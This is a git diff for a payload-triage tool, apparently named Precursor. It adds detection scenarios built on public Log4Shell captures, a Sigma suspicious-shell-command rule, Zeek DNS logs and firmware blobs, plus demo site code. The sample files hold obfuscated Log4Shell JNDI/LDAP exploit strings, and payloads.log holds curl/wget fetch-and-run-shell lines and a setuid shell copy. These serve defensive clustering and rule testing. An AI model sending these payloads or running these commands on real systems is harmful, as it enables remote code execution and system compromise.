`--stats` is disabled. diff --git a/benchmarks/latest.md b/benchmarks/latest.md new file mode 100644 index 0000000..674ae3a --- /dev/null +++ b/benchmarks/latest.md @@ -0,0 +1,12 @@ +# Scenario Benchmark Snapshot + +Date: 2026-02-14 00:59:54Z +Binary: `./target/release/precursor` +Repeat factor: `200` + +| Case | Similarity | Reports | Matches | DurationSeconds | +| --- | --- | ---: | ---: | ---: | +| Pre-protocol packet triage | tlsh | 4 | 800 | 0.02 | +| Pre-protocol packet triage | lzjd | 4 | 800 | 0.25 | +| Firmware fragment triage | lzjd | 5 | 1200 | 0.35 | +| ICS Modbus single-packet | lzjd | 5 | 1000 | 0.32 | diff --git a/samples/scenarios/README.md b/samples/scenarios/README.md index ed96b9b..ea848b2 100644 --- a/samples/scenarios/README.md +++ b/samples/scenarios/README.md @@ -23,11 +23,49 @@ Data: - `payloads.hex`: short Modbus/TCP frames - `patterns.pcre`: function code and exception tags +4. `public-log4shell-pcap-derived` +Purpose: cluster evasive JNDI/LDAP exploit probes from a public PCAP corpus. +Data: +- `payloads.string`: line-oriented HTTP request samples with published Log4Shell obfuscation variants +- `patterns.pcre`: HTTP + JNDI + obfuscation tags +- `PROVENANCE.md`: source links and extraction notes + +5. `sigma-linux-shell-command-triage` +Purpose: triage Linux shell command streams using Sigma rule semantics directly. +Data: +- `sigma_rule.yml`: Sigma keyword rule derived from `lnx_shell_susp_commands.yml` +- `payloads.log`: shell command examples to validate keyword captures and clustering +- `PROVENANCE.md`: source links + +6. `public-zeek-dns-log-triage` +Purpose: classify DNS query telemetry from public Zeek JSON logs. +Data: +- `payloads.jsonl`: Zeek DNS events (public seed + schema-consistent local expansion) +- `patterns.pcre`: domain/c2-style indicator tags +- `PROVENANCE.md`: source links + +7. `public-log4shell-foxit-pcap` +Purpose: triage a real public Log4Shell PCAP replay stream extracted from HTTP requests. +Data: +- `ldap-uri-params-ev0.pcap`: original public PCAP +- `extract_payloads.sh`: deterministic HTTP request extraction +- `payloads.string`: extracted replay lines for direct Precursor runs +- `patterns.pcre`: HTTP + JNDI + class-dropper tags +- `PROVENANCE.md`: source links and extraction notes + +8. `public-firmware-binwalk-magic` +Purpose: tag real firmware/filesystem blob samples in binary folder mode. +Data: +- `blobs/*.bin`: gzip/romfs/squashfs/cramfs public samples +- `patterns.pcre`: file-magic tags for binary triage +- `PROVENANCE.md`: source links + ## Provenance Samples are either: - protocol-shape examples derived from public standards and protocol docs, or -- synthetic test vectors assembled to exercise Precursor behavior. +- synthetic test vectors assembled to exercise Precursor behavior, or +- public corpus-derived extracts with per-scenario provenance files. Reference docs used when assembling payload shapes: - RFC 9112 (HTTP/1.1 messaging) @@ -35,9 +73,19 @@ Reference docs used when assembling payload shapes: - RFC 8446 (TLS 1.3 record framing) - RFC 1035 (DNS message format) - Modbus Application Protocol Specification v1.1b3 +- SigmaHQ Linux shell suspicious command rule +- fox-it/log4shell-pcaps payload corpus +- public Zeek DNS log samples +- fox-it/log4shell-pcaps PCAP replay sample +- ReFirmLabs/binwalk test input vectors ## Quick run ```bash samples/scenarios/run_all.sh ./target/release/precursor ``` + +## Optional tooling for regeneration + +- `tshark` is required to regenerate `public-log4shell-foxit-pcap/payloads.string` from the bundled PCAP via `extract_payloads.sh`. +- Core scenario runs do not require `tshark`; only regeneration workflows do. diff --git a/samples/scenarios/public-firmware-binwalk-magic/PROVENANCE.md b/samples/scenarios/public-firmware-binwalk-magic/PROVENANCE.md new file mode 100644 index 0000000..4a8e825 --- /dev/null +++ b/samples/scenarios/public-firmware-binwalk-magic/PROVENANCE.md @@ -0,0 +1,16 @@ +# Provenance: public-firmware-binwalk-magic + +## Source + +- Corpus: ReFirmLabs/binwalk test input vectors +- Upstream URL: https://github.com/ReFirmLabs/binwalk +- Raw file URLs used: + - https://raw.githubusercontent.com/ReFirmLabs/binwalk/master/tests/inputs/gzip.bin + - https://raw.githubusercontent.com/ReFirmLabs/binwalk/master/tests/inputs/romfs.bin + - https://raw.githubusercontent.com/ReFirmLabs/binwalk/master/tests/inputs/squashfs.bin + - https://raw.githubusercontent.com/ReFirmLabs/binwalk/master/tests/inputs/cramfs.bin + +## Notes + +- These are small, real filesystem/container samples used by binwalk tests. +- Scenario runs Precursor in binary folder mode to tag file magic and cluster samples without format-specific parsers. diff --git a/samples/.DS_Store b/samples/scenarios/public-firmware-binwalk-magic/blobs/cramfs.bin similarity index 63% rename from samples/.DS_Store rename to samples/scenarios/public-firmware-binwalk-magic/blobs/cramfs.bin index 5008ddf..0091ed5 100644 Binary files a/samples/.DS_Store and b/samples/scenarios/public-firmware-binwalk-magic/blobs/cramfs.bin differ diff --git a/samples/scenarios/public-firmware-binwalk-magic/blobs/gzip.bin b/samples/scenarios/public-firmware-binwalk-magic/blobs/gzip.bin new file mode 100644 index 0000000..52e921e Binary files /dev/null and b/samples/scenarios/public-firmware-binwalk-magic/blobs/gzip.bin differ diff --git a/samples/scenarios/public-firmware-binwalk-magic/blobs/romfs.bin b/samples/scenarios/public-firmware-binwalk-magic/blobs/romfs.bin new file mode 100644 index 0000000..7c82a83 Binary files /dev/null and b/samples/scenarios/public-firmware-binwalk-magic/blobs/romfs.bin differ diff --git a/samples/scenarios/public-firmware-binwalk-magic/blobs/squashfs.bin b/samples/scenarios/public-firmware-binwalk-magic/blobs/squashfs.bin new file mode 100644 index 0000000..68245ec Binary files /dev/null and b/samples/scenarios/public-firmware-binwalk-magic/blobs/squashfs.bin differ diff --git a/samples/scenarios/public-firmware-binwalk-magic/patterns.pcre b/samples/scenarios/public-firmware-binwalk-magic/patterns.pcre new file mode 100644 index 0000000..b8b42fa --- /dev/null +++ b/samples/scenarios/public-firmware-binwalk-magic/patterns.pcre @@ -0,0 +1,4 @@ +(?^\x1f\x8b) +(?^-rom1fs-) +(?^hsqs) +(?^\x45\x3d\xcd\x28) diff --git a/samples/scenarios/public-log4shell-foxit-pcap/PROVENANCE.md b/samples/scenarios/public-log4shell-foxit-pcap/PROVENANCE.md new file mode 100644 index 0000000..ddee4ed --- /dev/null +++ b/samples/scenarios/public-log4shell-foxit-pcap/PROVENANCE.md @@ -0,0 +1,14 @@ +# Provenance: public-log4shell-foxit-pcap + +## Source + +- Corpus: fox-it/log4shell-pcaps +- PCAP file: `log4shell-ldap-pcaps/ldap-uri-params-ev0.pcap` +- Upstream URL: https://github.com/fox-it/log4shell-pcaps +- Raw file URL used: https://raw.githubusercontent.com/fox-it/log4shell-pcaps/main/log4shell-ldap-pcaps/ldap-uri-params-ev0.pcap + +## Notes + +- `payloads.string` is deterministically regenerated from HTTP request records in the PCAP via `extract_payloads.sh`. +- Extraction keeps method, URI, and user-agent fields to preserve exploit-shape context. +- This scenario intentionally demonstrates pre-parser payload triage from packet captures. diff --git a/samples/scenarios/public-log4shell-foxit-pcap/extract_payloads.sh b/samples/scenarios/public-log4shell-foxit-pcap/extract_payloads.sh new file mode 100755 index 0000000..9a44394 --- /dev/null +++ b/samples/scenarios/public-log4shell-foxit-pcap/extract_payloads.sh @@ -0,0 +1,18 @@ +#!/usr/bin/env bash +set -euo pipefail + +root_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +pcap_path="${1:-$root_dir/ldap-uri-params-ev0.pcap}" + +if ! command -v tshark >/dev/null 2>&1; then + echo "tshark is required to regenerate payloads.string from the PCAP" >&2 + exit 1 +fi + +tshark -r "$pcap_path" \ + -Y 'http.request' \ + -T fields \ + -e http.request.method \ + -e http.request.uri \ + -e http.user_agent \ + | awk -F '\t' 'NF >= 2 { method=$1; uri=$2; ua=$3; if (ua == "") ua="unknown"; printf "%s %s HTTP/1.1 Host: extracted.local User-Agent: %s\n", method, uri, ua }' diff --git a/samples/scenarios/public-log4shell-foxit-pcap/ldap-uri-params-ev0.pcap b/samples/scenarios/public-log4shell-foxit-pcap/ldap-uri-params-ev0.pcap new file mode 100644 index 0000000..70a8a35 Binary files /dev/null and b/samples/scenarios/public-log4shell-foxit-pcap/ldap-uri-params-ev0.pcap differ diff --git a/samples/scenarios/public-log4shell-foxit-pcap/patterns.pcre b/samples/scenarios/public-log4shell-foxit-pcap/patterns.pcre new file mode 100644 index 0000000..d6849f8 --- /dev/null +++ b/samples/scenarios/public-log4shell-foxit-pcap/patterns.pcre @@ -0,0 +1,5 @@ +(?\bGET\b) +(?%24%7B|%7Bjndi) +(?ldap://|%3A1389) +(?/Exploit[[:alnum:]]+\.class) +(?Java/[0-9._]+) diff --git a/samples/scenarios/public-log4shell-foxit-pcap/payloads.string b/samples/scenarios/public-log4shell-foxit-pcap/payloads.string new file mode 100644 index 0000000..30d0974 --- /dev/null +++ b/samples/scenarios/public-log4shell-foxit-pcap/payloads.string @@ -0,0 +1,10 @@ +GET /test?q=%24%7B%24%7B%3A%3A-j%7D%24%7B%3A%3A-n%7D%24%7B%3A%3A-d%7D%24%7B%3A%3A-i%7D%3A%24%7B%3A%3A-l%7D%24%7B%3A%3A-d%7D%24%7B%3A%3A-a%7D%24%7B%3A%3A-p%7D%3A%2F%2F34.91.73.37%3A1389%2FBasic%2FCommand%2FBase64%2FcGluZyAtYyAxMCAxLjEuMS4x%7D HTTP/1.1 Host: extracted.local User-Agent: python-requests/2.25.1 +GET /ExploitYEKeLeuvob.class HTTP/1.1 Host: extracted.local User-Agent: Java/1.8.0_181 +GET /ExploityUo1XPZneD.class HTTP/1.1 Host: extracted.local User-Agent: Java/1.8.0_181 +GET /Exploit5HbZ1EjGSJ.class HTTP/1.1 Host: extracted.local User-Agent: Java/1.8.0_181 +GET /ExploitaDgkkcKAMx.class HTTP/1.1 Host: extracted.local User-Agent: Java/1.8.0_181 +GET /ExploitCYTzA6Qg4O.class HTTP/1.1 Host: extracted.local User-Agent: Java/1.8.0_181 +GET /ExploitEuM0WBkfbX.class HTTP/1.1 Host: extracted.local User-Agent: Java/1.8.0_181 +GET /ExploitheY31Geqvl.class HTTP/1.1 Host: extracted.local User-Agent: Java/1.8.0_181 +GET /ExploitzvPjMRh2Vu.class HTTP/1.1 Host: extracted.local User-Agent: Java/1.8.0_181 +GET /ExploitZNTjKvldYm.class HTTP/1.1 Host: extracted.local User-Agent: Java/1.8.0_181 diff --git a/samples/scenarios/public-log4shell-pcap-derived/PROVENANCE.md b/samples/scenarios/public-log4shell-pcap-derived/PROVENANCE.md new file mode 100644 index 0000000..88c9a3f --- /dev/null +++ b/samples/scenarios/public-log4shell-pcap-derived/PROVENANCE.md @@ -0,0 +1,10 @@ +# Provenance + +These payload shapes are taken from the publicly documented obfuscation examples in: +- https://github.com/fox-it/log4shell-pcaps + +The source repository includes URI-encoded Log4Shell exploit probe variants and associated +public PCAP files (`log4j_payloads.pcap`, `log4j_payloads_2.pcap`). + +This scenario stores line-oriented HTTP request strings using those published payload variants +so Precursor can run deterministic local tests without downloading large binary artifacts. diff --git a/samples/scenarios/public-log4shell-pcap-derived/patterns.pcre b/samples/scenarios/public-log4shell-pcap-derived/patterns.pcre new file mode 100644 index 0000000..6891e04 --- /dev/null +++ b/samples/scenarios/public-log4shell-pcap-derived/patterns.pcre @@ -0,0 +1,5 @@ +(?^(GET|POST|HEAD|PUT|DELETE) ) +(?\$\{.*j.*n.*d.*i.*\}) +(?ldap://) +(?(lower:|upper:|::-|env:DOESNOTEXIST)) +(?(\$\{|\})) diff --git a/samples/scenarios/public-log4shell-pcap-derived/payloads.string b/samples/scenarios/public-log4shell-pcap-derived/payloads.string new file mode 100644 index 0000000..bd81cad --- /dev/null +++ b/samples/scenarios/public-log4shell-pcap-derived/payloads.string @@ -0,0 +1,8 @@ +GET /?x=${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://scanner-a.example/a} HTTP/1.1 Host: edge-a.example +GET /?x=${${lower:jndi}:${lower:ldap}://scanner-b.example/a} HTTP/1.1 Host: edge-b.example +GET /?x=${${lower:${lower:jndi}}:${lower:ldap}://scanner-c.example/a} HTTP/1.1 Host: edge-c.example +GET /?x=${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://scanner-d.example/a} HTTP/1.1 Host: edge-d.example +GET /?x=${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}d${lower:a}p://scanner-e.example/a} HTTP/1.1 Host: edge-e.example +GET /?x=${j${env:DOESNOTEXIST:-}ndi:ldap://scanner-f.example/a} HTTP/1.1 Host: edge-f.example +GET /?x=${${: : : : ::: :: :: : :::-j}ndi:ldap://scanner-g.example/a} HTTP/1.1 Host: edge-g.example +GET /?x=${${::::::::::::::-j}ndi:ldap://scanner-h.example/a} HTTP/1.1 Host: edge-h.example diff --git a/samples/scenarios/public-zeek-dns-log-triage/PROVENANCE.md b/samples/scenarios/public-zeek-dns-log-triage/PROVENANCE.md new file mode 100644 index 0000000..56dd47b --- /dev/null +++ b/samples/scenarios/public-zeek-dns-log-triage/PROVENANCE.md @@ -0,0 +1,7 @@ +# Provenance + +The first JSON line is a public Zeek DNS log sample from: +- https://gist.github.com/philhagen/9d4f2d4cf0be6f1d8cb3767e9299ae54 + +Additional lines keep the same Zeek JSON schema to form a small deterministic +local corpus for clustering and protocol-hint tests. diff --git a/samples/scenarios/public-zeek-dns-log-triage/patterns.pcre b/samples/scenarios/public-zeek-dns-log-triage/patterns.pcre new file mode 100644 index 0000000..94774df --- /dev/null +++ b/samples/scenarios/public-zeek-dns-log-triage/patterns.pcre @@ -0,0 +1,3 @@ +(?^[a-z0-9][a-z0-9.-]{3,}$) +(?(pastebin|yourtrap|cnc|botnet|loader)) +(?\.(top|xyz|ru|tk)$) diff --git a/samples/scenarios/public-zeek-dns-log-triage/payloads.jsonl b/samples/scenarios/public-zeek-dns-log-triage/payloads.jsonl new file mode 100644 index 0000000..252f952 --- /dev/null +++ b/samples/scenarios/public-zeek-dns-log-triage/payloads.jsonl @@ -0,0 +1,4 @@ +{"ts":"2025-04-29T08:57:58.683723Z","uid":"Cp5N8f2I6Bms4Kx111","id.orig_h":"192.168.1.111","id.orig_p":45211,"id.resp_h":"8.8.8.8","id.resp_p":53,"proto":"udp","trans_id":43223,"query":"this.yourtrap.com","qclass":1,"qclass_name":"C_INTERNET","qtype":1,"qtype_name":"A","rcode":0,"rcode_name":"NOERROR","AA":false,"TC":false,"RD":true,"RA":true,"Z":0,"answers":["10.11.12.13"],"TTLs":[0.004]} +{"ts":"2025-04-29T08:58:01.101010Z","uid":"C2zeekDns","id.orig_h":"192.168.1.112","id.orig_p":38901,"id.resp_h":"1.1.1.1","id.resp_p":53,"proto":"udp","trans_id":1955,"query":"pastebin-control.top","qclass":1,"qclass_name":"C_INTERNET","qtype":1,"qtype_name":"A","rcode":0,"rcode_name":"NOERROR","AA":false,"TC":false,"RD":true,"RA":true} +{"ts":"2025-04-29T08:58:05.202020Z","uid":"C3zeekDns","id.orig_h":"192.168.1.113","id.orig_p":40777,"id.resp_h":"9.9.9.9","id.resp_p":53,"proto":"udp","trans_id":5001,"query":"cdn.safe.example.org","qclass":1,"qclass_name":"C_INTERNET","qtype":1,"qtype_name":"A","rcode":0,"rcode_name":"NOERROR","AA":false,"TC":false,"RD":true,"RA":true} +{"ts":"2025-04-29T08:58:09.303030Z","uid":"C4zeekDns","id.orig_h":"192.168.1.114","id.orig_p":43001,"id.resp_h":"8.8.4.4","id.resp_p":53,"proto":"udp","trans_id":5002,"query":"loader-node.xyz","qclass":1,"qclass_name":"C_INTERNET","qtype":1,"qtype_name":"A","rcode":0,"rcode_name":"NOERROR","AA":false,"TC":false,"RD":true,"RA":true} diff --git a/samples/scenarios/run_all.sh b/samples/scenarios/run_all.sh index bb369c6..6ea94b0 100755 --- a/samples/scenarios/run_all.sh +++ b/samples/scenarios/run_all.sh @@ -25,6 +25,11 @@ echo "== firmware fragment triage (lzjd) ==" -P \ < "$root_dir/firmware-fragment-triage/payloads.hex" +echo +echo "== raw-binary blob triage (short flag -B) ==" +printf '\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00' \ + | "$bin_path" '(?^\x7fELF)' -B -t --similarity-mode lzjd -P + echo echo "== ics modbus single-packet (lzjd) ==" "$bin_path" \ @@ -35,3 +40,57 @@ echo "== ics modbus single-packet (lzjd) ==" -P \ --protocol-hints \ < "$root_dir/ics-modbus-single-packet/payloads.hex" + +echo +echo "== log4shell pcap-derived exploit probe triage (lzjd) ==" +"$bin_path" \ + -p "$root_dir/public-log4shell-pcap-derived/patterns.pcre" \ + -m string \ + -t -d \ + --similarity-mode lzjd \ + -P \ + --protocol-hints \ + < "$root_dir/public-log4shell-pcap-derived/payloads.string" + +echo +echo "== sigma linux shell keyword triage (lzjd) ==" +"$bin_path" \ + --sigma-rule "$root_dir/sigma-linux-shell-command-triage/sigma_rule.yml" \ + -m string \ + -t -d \ + --similarity-mode lzjd \ + --protocol-hints \ + < "$root_dir/sigma-linux-shell-command-triage/payloads.log" + +echo +echo "== fox-it log4shell pcap replay triage (fbhash) ==" +"$bin_path" \ + -p "$root_dir/public-log4shell-foxit-pcap/patterns.pcre" \ + -m string \ + -t -d \ + --similarity-mode fbhash \ + -P \ + --protocol-hints \ + < "$root_dir/public-log4shell-foxit-pcap/payloads.string" + +echo +echo "== public firmware blob triage (binary folder mode) ==" +"$bin_path" \ + -p "$root_dir/public-firmware-binwalk-magic/patterns.pcre" \ + -f "$root_dir/public-firmware-binwalk-magic/blobs" \ + --input-mode binary \ + -t -d \ + --similarity-mode lzjd \ + -P \ + --protocol-hints + +echo +echo "== public zeek dns log triage (lzjd + json extract) ==" +"$bin_path" \ + -p "$root_dir/public-zeek-dns-log-triage/patterns.pcre" \ + -m string \ + -j '.query' \ + -t -d \ + --similarity-mode lzjd \ + --protocol-hints \ + < "$root_dir/public-zeek-dns-log-triage/payloads.jsonl" diff --git a/samples/scenarios/sigma-linux-shell-command-triage/PROVENANCE.md b/samples/scenarios/sigma-linux-shell-command-triage/PROVENANCE.md new file mode 100644 index 0000000..633f941 --- /dev/null +++ b/samples/scenarios/sigma-linux-shell-command-triage/PROVENANCE.md @@ -0,0 +1,7 @@ +# Provenance + +This scenario is derived from the SigmaHQ rule: +- https://github.com/SigmaHQ/sigma/blob/master/rules/linux/builtin/lnx_shell_susp_commands.yml + +The Sigma YAML in this directory is a local copy used to demonstrate Precursor's +`--sigma-rule` ingestion path and keyword-to-PCRE capture translation. diff --git a/samples/scenarios/sigma-linux-shell-command-triage/payloads.log b/samples/scenarios/sigma-linux-shell-command-triage/payloads.log new file mode 100644 index 0000000..88180c0 --- /dev/null +++ b/samples/scenarios/sigma-linux-shell-command-triage/payloads.log @@ -0,0 +1,6 @@ +wget -q -O /tmp/payload.sh http://198.51.100.3/x.sh && sh /tmp/payload.sh +curl -fsSL http://198.51.100.4/run | /bin/bash +python3 -m http.server 8080 --bind 0.0.0.0 +cp /bin/ksh /tmp/.k && chmod +s /tmp/.k +printf 'ok' && base64 -d <<< cHJlY3Vyc29yCg== +echo "normal maintenance command" diff --git a/samples/scenarios/sigma-linux-shell-command-triage/sigma_rule.yml b/samples/scenarios/sigma-linux-shell-command-triage/sigma_rule.yml new file mode 100644 index 0000000..ea1e172 --- /dev/null +++ b/samples/scenarios/sigma-linux-shell-command-triage/sigma_rule.yml @@ -0,0 +1,39 @@ +title: Suspicious Shell Commands +id: d2bd6b47-0fe3-4eec-846d-6d657c8ee6ff +status: test +description: Detects suspicious shell commands being used in Linux shell history +author: Florian Roth +references: + - https://github.com/SigmaHQ/sigma/blob/master/rules/linux/builtin/lnx_shell_susp_commands.yml +date: 2021-05-04 +tags: + - attack.execution + - attack.t1059.004 +logsource: + product: linux + service: shell +detection: + keywords: + - '*chmod +s*' + - '*chmod 4777*' + - '*chown root*' + - '*wget *' + - '*curl *' + - '*tee -a*' + - '*/tmp/*' + - '*/bin/sh *' + - '*/bin/bash *' + - '*python -m http.server*' + - '*python3 -m http.server*' + - '*cp /bin/ksh*' + - '*cp /bin/sh*' + - '*cp /bin/bash*' + - '*tail -f /etc/passwd*' + - '*nc -lvp*' + - '*ncat -lvp*' + - '*openssl enc*' + - '*base64 -d*' + condition: keywords +falsepositives: + - Unlikely +level: high diff --git a/site/app.js b/site/app.js index 7600097..f1e7cef 100644 --- a/site/app.js +++ b/site/app.js @@ -22,6 +22,17 @@ stderr: ---PRECURSOR_PROTOCOL_HINTS--- with top candidate clusters`, -m hex -t --similarity-mode lzjd -P`, output: `protocol_label typically includes firmware_binary or compressed_binary tags include file-magic style markers`, + }, + { + id: "binary-blob", + label: "Binary", + title: "Raw-Binary Blob Mode", + description: + "Use the short -B flag to ingest arbitrary raw bytes as one payload record and tag firmware or packet fragments without UTF-8 assumptions.", + command: `printf '\\x7fELF\\x02\\x01\\x01\\x00\\x00\\x00\\x00\\x00' \\ + | precursor '(?^\\x7fELF)' -B -t --similarity-mode lzjd -P`, + output: `expected tag: elf_magic +protocol_label usually resolves to firmware_binary for ELF-like headers`, }, { id: "ics-single-packet", @@ -35,6 +46,111 @@ tags include file-magic style markers`, output: `cluster boosts improve confidence when payload families repeat hint candidates can be fed into LLM-assisted rule authoring loops`, }, + { + id: "log4shell-pcap-derived", + label: "Log4Shell", + title: "PCAP-Derived Log4Shell Probe Clustering", + description: + "Cluster evasive JNDI/LDAP probe strings derived from a public Log4Shell PCAP corpus. This is a pre-parser workflow for exploit spray discovery and rule drafting.", + command: `cat samples/scenarios/public-log4shell-pcap-derived/payloads.string \\ + | precursor -p samples/scenarios/public-log4shell-pcap-derived/patterns.pcre \\ + -m string -t -d --similarity-mode lzjd -P --protocol-hints`, + output: `expected tags include jndi_expression + obfuscation_primitive +protocol_label typically resolves to http for these request-shaped probes`, + }, + { + id: "foxit-pcap-live", + label: "PCAP Replay", + title: "Real PCAP Replay with FBHash", + description: + "Replay HTTP requests extracted from a public fox-it Log4Shell PCAP and cluster exploit staging traffic using fbhash mode.", + command: `cat samples/scenarios/public-log4shell-foxit-pcap/payloads.string \\ + | precursor -p samples/scenarios/public-log4shell-foxit-pcap/patterns.pcre \\ + -m string -t -d --similarity-mode fbhash -P --protocol-hints`, + output: `tags include urlencoded_jndi, exploit_class_path, and java_user_agent +similarity_hash values are fbhash:* and group replay families cleanly`, + }, + { + id: "sigma-shell-triage", + label: "Sigma", + title: "Sigma Rule to Precursor Pipeline", + description: + "Load Sigma YAML directly, auto-convert keyword selectors to named captures, and score suspicious shell command streams without hand-rewriting regex files.", + command: `cat samples/scenarios/sigma-linux-shell-command-triage/payloads.log \\ + | precursor --sigma-rule samples/scenarios/sigma-linux-shell-command-triage/sigma_rule.yml \\ + -m string -t -d --similarity-mode lzjd --protocol-hints`, + output: `tags include sigma_* captures for matched commands +output includes sigma_rule_matches and sigma_rule_ids when condition passes`, + }, + { + id: "binwalk-firmware", + label: "Firmware Blobs", + title: "Public Firmware Blob Folder Triage", + description: + "Run binary folder mode over real binwalk test artifacts and tag romfs/squashfs/cramfs/gzip magic headers in one pass.", + command: `precursor -p samples/scenarios/public-firmware-binwalk-magic/patterns.pcre \\ + -f samples/scenarios/public-firmware-binwalk-magic/blobs \\ + --input-mode binary -t -d --similarity-mode lzjd -P --protocol-hints`, + output: `expected tags: gzip_magic, romfs_magic, squashfs_magic, cramfs_magic +useful for firmware triage before full unpacking`, + }, + { + id: "zeek-dns-log", + label: "Zeek DNS", + title: "Public Zeek DNS Log Triage", + description: + "Extract DNS query fields from Zeek JSON logs and cluster suspicious domain families for rapid hunt pivots.", + command: `cat samples/scenarios/public-zeek-dns-log-triage/payloads.jsonl \\ + | precursor -p samples/scenarios/public-zeek-dns-log-triage/patterns.pcre \\ + -m string -j '.query' -t -d --similarity-mode lzjd --protocol-hints`, + output: `matches include possible_c2_domain and suspicious_tld tags +query extraction runs through the same JSON contract used in production pipelines`, + }, +]; + +const demoReels = [ + { + id: "reel-pcap", + label: "PCAP Replay", + title: "Replay: fox-it Log4Shell PCAP -> FBHash clusters", + intervalMs: 1700, + frames: [ + `$ samples/scenarios/public-log4shell-foxit-pcap/extract_payloads.sh | head -2 +GET /test?q=%24%7B...%7D HTTP/1.1 Host: extracted.local User-Agent: python-requests/2.25.1 +GET /ExploitYEKeLeuvob.class HTTP/1.1 Host: extracted.local User-Agent: Java/1.8.0_181`, + `$ cat samples/scenarios/public-log4shell-foxit-pcap/payloads.string | precursor -p samples/scenarios/public-log4shell-foxit-pcap/patterns.pcre -m string -t -d --similarity-mode fbhash -P +{"tags":["http_method","urlencoded_jndi","ldap_scheme"],"similarity_hash":"fbhash:227:...","protocol_label":"http"}`, + `{"tags":["http_method","exploit_class_path","java_user_agent"],"similarity_hash":"fbhash:80:...","protocol_label":"http"} +... +Signal: one stage-0 exploit line + repeated class fetch family clusters`, + ], + }, + { + id: "reel-firmware", + label: "Firmware", + title: "Replay: binary folder mode on real firmware blobs", + intervalMs: 1700, + frames: [ + `$ precursor -p samples/scenarios/public-firmware-binwalk-magic/patterns.pcre -f samples/scenarios/public-firmware-binwalk-magic/blobs --input-mode binary -t -d --similarity-mode lzjd -P +{"tags":["squashfs_magic"],"similarity_hash":"lzjd:128:...","protocol_label":"unknown"}`, + `{"tags":["romfs_magic"],"similarity_hash":"lzjd:128:...","protocol_label":"unknown"} +{"tags":["cramfs_magic"],"similarity_hash":"lzjd:128:...","protocol_label":"unknown"}`, + `{"tags":["gzip_magic"],"similarity_hash":"lzjd:92:...","protocol_label":"compressed_binary"} +Signal: immediate filesystem magic labeling before unpack/decompile`, + ], + }, + { + id: "reel-sigma", + label: "Sigma", + title: "Replay: Sigma condition gating + labels", + intervalMs: 1700, + frames: [ + `$ cat samples/scenarios/sigma-linux-shell-command-triage/payloads.log | precursor --sigma-rule samples/scenarios/sigma-linux-shell-command-triage/sigma_rule.yml -m string -t -d --similarity-mode lzjd +{"tags":["sigma_..._keywords_0","sigma_..._keywords_6"],"sigma_rule_matches":["Suspicious Shell Commands"]}`, + `{"tags":["sigma_..._keywords_18"],"sigma_rule_matches":["Suspicious Shell Commands"],"sigma_rule_ids":["d2bd6b47_0fe3_4eec_846d_6d657c8ee6ff"]}`, + `Signal: Sigma intent stays portable while Precursor adds similarity + protocol context on the same stream`, + ], + }, ]; const tabContainer = document.getElementById("scenario-tabs"); @@ -81,3 +197,161 @@ copyButton.addEventListener("click", async () => { }); renderScenario(scenarios[0].id); + +const reelTabs = document.getElementById("reel-tabs"); +const reelTitle = document.getElementById("reel-title"); +const reelFrame = document.getElementById("reel-frame"); +const reelPlay = document.getElementById("reel-play"); + +let activeReel = demoReels[0]; +let activeFrame = 0; +let reelTimer = null; + +function stopReel() { + if (reelTimer) { + clearInterval(reelTimer); + reelTimer = null; + } +} + +function drawReelFrame() { + if (!activeReel || !reelTitle || !reelFrame) { + return; + } + reelTitle.textContent = activeReel.title; + reelFrame.textContent = activeReel.frames[activeFrame] || ""; +} + +function playReel() { + if (!activeReel) { + return; + } + stopReel(); + activeFrame = 0; + drawReelFrame(); + reelTimer = setInterval(() => { + activeFrame = (activeFrame + 1) % activeReel.frames.length; + drawReelFrame(); + }, activeReel.intervalMs || 1600); +} + +function setActiveReel(reelId) { + const selected = demoReels.find((reel) => reel.id === reelId) || demoReels[0]; + activeReel = selected; + activeFrame = 0; + reelTabs.querySelectorAll("button").forEach((button) => { + button.setAttribute("aria-selected", button.dataset.reelId === selected.id ? "true" : "false"); + }); + drawReelFrame(); + playReel(); +} + +if (reelTabs && reelTitle && reelFrame && reelPlay) { + demoReels.forEach((reel, idx) => { + const button = document.createElement("button"); + button.type = "button"; + button.dataset.reelId = reel.id; + button.textContent = reel.label; + button.setAttribute("aria-selected", idx === 0 ? "true" : "false"); + button.addEventListener("click", () => setActiveReel(reel.id)); + reelTabs.appendChild(button); + }); + + reelPlay.addEventListener("click", () => { + playReel(); + reelPlay.textContent = "Replaying"; + setTimeout(() => { + reelPlay.textContent = "Replay"; + }, 900); + }); + + setActiveReel(demoReels[0].id); +} + +const statsSample = { + "---PRECURSOR_STATISTICS---": "This JSON is output to STDERR so that you can parse stats separate from the primary output.", + Input: { + Count: 10, + Unique: 10, + AvgSize: "144", + MinSize: 108, + MaxSize: 387, + P95Size: 387, + TotalSize: "1.4KB", + }, + Match: { + Patterns: 5, + TotalMatches: 28, + Matches: [ + { Name: "http_method", Matches: 10 }, + { Name: "exploit_class_path", Matches: 9 }, + { Name: "urlencoded_jndi", Matches: 1 }, + ], + HashesGenerated: 10, + AvgSize: "144", + MinSize: 108, + MaxSize: 387, + P95Size: 387, + TotalSize: "1.4KB", + }, + Compare: { + Similarities: 45, + AvgDistance: "51", + MinDistance: 39, + MaxDistance: 88, + P95Distance: 88, + }, + Environment: { + SimilarityMode: "fbhash", + RegexEngine: "pcre2", + InputMode: "string", + DistanceThreshold: 100, + SinglePacketInference: true, + SigmaRulesLoaded: 0, + }, +}; + +const statsBars = document.getElementById("stats-bars"); +const statsJson = document.getElementById("stats-json"); + +function renderStatsMode() { + if (!statsBars || !statsJson) { + return; + } + const barMetrics = [ + { label: "Input Count", value: statsSample.Input.Count, max: 12 }, + { label: "Total Matches", value: statsSample.Match.TotalMatches, max: 40 }, + { label: "Hashes Generated", value: statsSample.Match.HashesGenerated, max: 12 }, + { label: "Pairwise Similarities", value: statsSample.Compare.Similarities, max: 50 }, + ]; + + statsBars.innerHTML = ""; + barMetrics.forEach((metric) => { + const row = document.createElement("div"); + row.className = "stats-bar"; + + const head = document.createElement("div"); + head.className = "stats-bar-head"; + const label = document.createElement("span"); + label.textContent = metric.label; + const value = document.createElement("strong"); + value.textContent = String(metric.value); + head.appendChild(label); + head.appendChild(value); + + const track = document.createElement("div"); + track.className = "stats-bar-track"; + const fill = document.createElement("div"); + fill.className = "stats-bar-fill"; + fill.style.width = `${Math.min(100, Math.round((metric.value / metric.max) * 100))}%`; + track.appendChild(fill); + + row.appendChild(head); + 